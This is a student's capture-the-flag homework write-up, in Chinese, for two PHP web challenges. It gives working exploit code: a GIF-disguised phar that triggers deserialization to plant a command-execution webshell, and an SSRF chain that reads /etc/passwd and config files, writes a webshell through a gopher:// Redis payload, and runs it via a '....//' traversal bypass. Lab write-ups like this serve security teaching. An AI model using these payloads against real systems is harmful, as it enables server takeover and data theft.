# hw6 Writeup

School/Grade: 交大資科工所 碩一

Student ID: 309551004 (王冠中)

ID: aesophor

## Rero Meme (250 pts)

- **Overview**
  - 首先使用者可以輸入 username 登入系統
  - 登入後，可以上傳一個 gif 的迷因圖，然後可以取一個 title
  - 上傳的 gif 會被儲存於 images/username/title.gif

- **Observation**
  - gif 的檢查是透過 `exif_imagetype()` 做的，此函數會檢查檔案的 header 是否為 gif 的 magic number（"GIF89a"）

```
$tmp_name = $_FILES['meme']['tmp_name'];
if (exif_imagetype($tmp_name) === IMAGETYPE_GIF && preg_match("/[a-z0-9_\- ]+/i", $_POST['title'])) {
    $content = file_get_contents($tmp_name);
    $meme = new Meme($_POST['title'], $user, $content);
} else {
    die("Invalid Meme.");
}
```

  - gif 檔的實際寫入，是在 `Meme::__destruct()` 做的

```php
class Meme
{
    public $title;
    public $author;
    public $filename;
    private $content = NULL;
    function __construct($title, $author, $content = NULL)
    {
        $this->title = $title;
        $this->author = $author;
        $this->content = $content;
        $this->filename = "images/$author/$title.gif";
    }
    function __destruct()
    {
        if ($this->content != NULL)
            file_put_contents($this->filename, $this->content);
    }
}
```

- **Thoughts**
  - 要繞過 gif 的限制，只要在我們要上傳的檔案前面加上 "GIF89a" 即可
  - 我們可以上傳一個 phar 檔，然後想辦法用 `phar://` protocol 去戳 phar 內的檔案
  - 戳 phar 可以利用 `file_get_contents()`, `file_exists()`, `is_dir()` 之類的函數
  - 戳成功的話，就會觸發 phar metadata 的 unserialize()
  - 由於 phar 檔是我們自己寫的，我們可以決定 `Meme::content` 和 `Meme::filename`
  - 透過上述方法達成 RCE ，並拿到 flag

- **Creating our Phar File (All files are provided in the attachment)**

  用以下程式可以產生我們需要的 phar

  只要能透過 `phar://` protocol 成功戳到裡面的 meow.txt，
  我們就能把 webshell 寫入到 images/aesophor/fuxsocy.php

```php
<?php
  class Meme { }
  $m = new Meme();
  $m->title = 'fuxsocy';
  $m->author = 'aesophor';
  $m->content = '<?php passthru($_GET["cmd"]); ?>';
  $m->filename = 'images/aesophor/fuxsocy.php';

  $phar = new Phar("payload.phar");
  $phar->startBuffering();
  $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
  $phar['meow.txt'] = 'owo';
  $phar->setMetadata($m);
  $phar->stopBuffering();
?>
```

```
> xxd payload.phar
  00000000: 4749 4638 3961 3c3f 7068 7020 5f5f 4841  GIF89a<?php __HA
  00000010: 4c54 5f43 4f4d 5049 4c45 5228 293b 203f  LT_COMPILER(); ?
  00000020: 3e0d 0ae3 0000 0001 0000 0011 0000 0001  >...............
  00000030: 0000 0000 00ad 0000 004f 3a34 3a22 4d65  .........O:4:"Me
  00000040: 6d65 223a 343a 7b73 3a35 3a22 7469 746c  me":4:{s:5:"titl
  00000050: 6522 3b73 3a37 3a22 6675 7873 6f63 7922  e";s:7:"fuxsocy"
  00000060: 3b73 3a36 3a22 6175 7468 6f72 223b 733a  ;s:6:"author";s:
  00000070: 383a 2261 6573 6f70 686f 7222 3b73 3a37  8:"aesophor";s:7
  00000080: 3a22 636f 6e74 656e 7422 3b73 3a33 323a  :"content";s:32:
  00000090: 223c 3f70 6870 2070 6173 7374 6872 7528  "<?php passthru(
  000000a0: 245f 4745 545b 2263 6d64 225d 293b 203f  $_GET["cmd"]); ?
  000000b0: 3e22 3b73 3a38 3a22 6669 6c65 6e61 6d65  >";s:8:"filename
  000000c0: 223b 733a 3237 3a22 696d 6167 6573 2f61  ";s:27:"images/a
  000000d0: 6573 6f70 686f 722f 6675 7873 6f63 792e  esophor/fuxsocy.
  000000e0: 7068 7022 3b7d 0800 0000 6d65 6f77 2e74  php";}....meow.t
  000000f0: 7874 0300 0000 191e cb5f 0300 0000 f7c6  xt......._......
  00000100: b901 a401 0000 0000 0000 6f77 6ff8 4342  ..........owo.CB
  00000110: 07f4 71b9 6d37 2077 ce3b 51ba 43d5 92d5  ..q.m7 w.;Q.C...
  00000120: 9502 0000 0047 424d 42                   .....GBMB
```

- **Exploitation**
  - 以 aesophor 登入系統
  - meme title 設為 exp，並上傳剛剛做好的 phar
  - 因為 meme title 是 exp，所以檔案會在 images/aesophor/exp.gif
  - 接著清除 cookie，刷新頁面後就會返回登入畫面

- 在 username 輸入 `phar://aesophor/exp.gif/meow.txt` 並登入，即可透過 `User::__construct()` 裡面的 `is_dir($username)` 戳到 phar 中的 meow.txt
- 我們的 phar 的 metadata 就會被 unserialize，在 `Meme::__destruct()` 處會寫入 webshell 到我們指定的 filename 中
- 連上 `http://rero.splitline.tw:8893/images/aesophor/fuxsocy.php?cmd=ls` 可以驗證 RCE 已經成功

- **Flag**

  http://rero.splitline.tw:8893/images/aesophor/fuxsocy.php?cmd=cat%20/*

  ```
  FLAG{レロレロ?RERO!レロレロ,RERO?レロレロ~}
  ```

## 陸拾肆基底編碼之遠端圖像編碼器 (250 pts)

- **Overview**
  - 題目給了一個輸入圖片 url 的 input field
  - 提交 form 之後，會跳轉到 `page/result.inc.php` 並將圖片以 base64 顯示

- **發現這題可以 SSRF**
  - 輸入 `file:///etc/passwd` ，發現 `page/result.inc.php` 會回傳一張 broken image
  - 將上述這個 broken image 以 base64 decode 後，就是 server 上 `/etc/passwd` 的內容

- **Exploitation**
  - information gathering

| Step | Desc | Payload | 獲得的資訊 |
| --- | --- | --- | --- |
| 1 | Leak /etc/passwd | file:///etc/passwd | 有 redis 這個 local service |
| 2 | Leak apache2.conf | file:///etc/apache2/apache2.conf | 找到 sites-available 的 conf 路徑 |

| Step | Desc | Payload | 獲得的資訊 |
| --- | --- | --- | --- |
| 3 | Leak sites-available | file:///etc/apache2/sites-available/000-default.conf | DocumentRoot 在 /var/www/html |
| 4 | Leak source code | file:///var/www/html/index.php | result.inc.php 在 page 目錄中 |
| 5 | Leak source code | file:///var/www/html/page/result.inc.php | 該尋找 redis 在哪個 port 了 |
| 6 | Leak redis local port | file:///proc/net/tcp | 尋找 uid=101 的項目，得知 redis 跑在 0100007F:69FE (也就是 127.0.0.1:27134) |

- exploit redis to write webshell

  剛剛我們已經找到 port 是 27134

  ```
  FLUSHALL
  SET myshell "<?php system($_GET['cmd']) ?>"
  CONFIG SET DIR /tmp
  CONFIG SET DBFILENAME fuxsocy.inc.php
  SAVE
  QUIT
  ```

  payload: `gopher:///127.0.0.1:27134/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2ftmp%2f%0D%0ACONFIG%20SET%20DBFILENAME%20fuxsocy.inc.php%0D%0ASAVE%0D%0AQUIT`

- invoke webshell via **LFI** and **Pass Traversal**

  - 程式用 `str_replace('../', '', _GET['page'] ?? 'home')` 將 `../` 從 URL 中移除
  - 我們可以用 `....//` 來繞過這個限制
  - `....//` 會變成 `../`

  URL: `http://base64image.splitline.tw:8894/?page=....//....//....//....`

```
//tmp/fuxsocy&cmd=cat%20/*
```

- **Flag**

```
FLAG{data:text/flag;r3d1s-s3rv3r}
```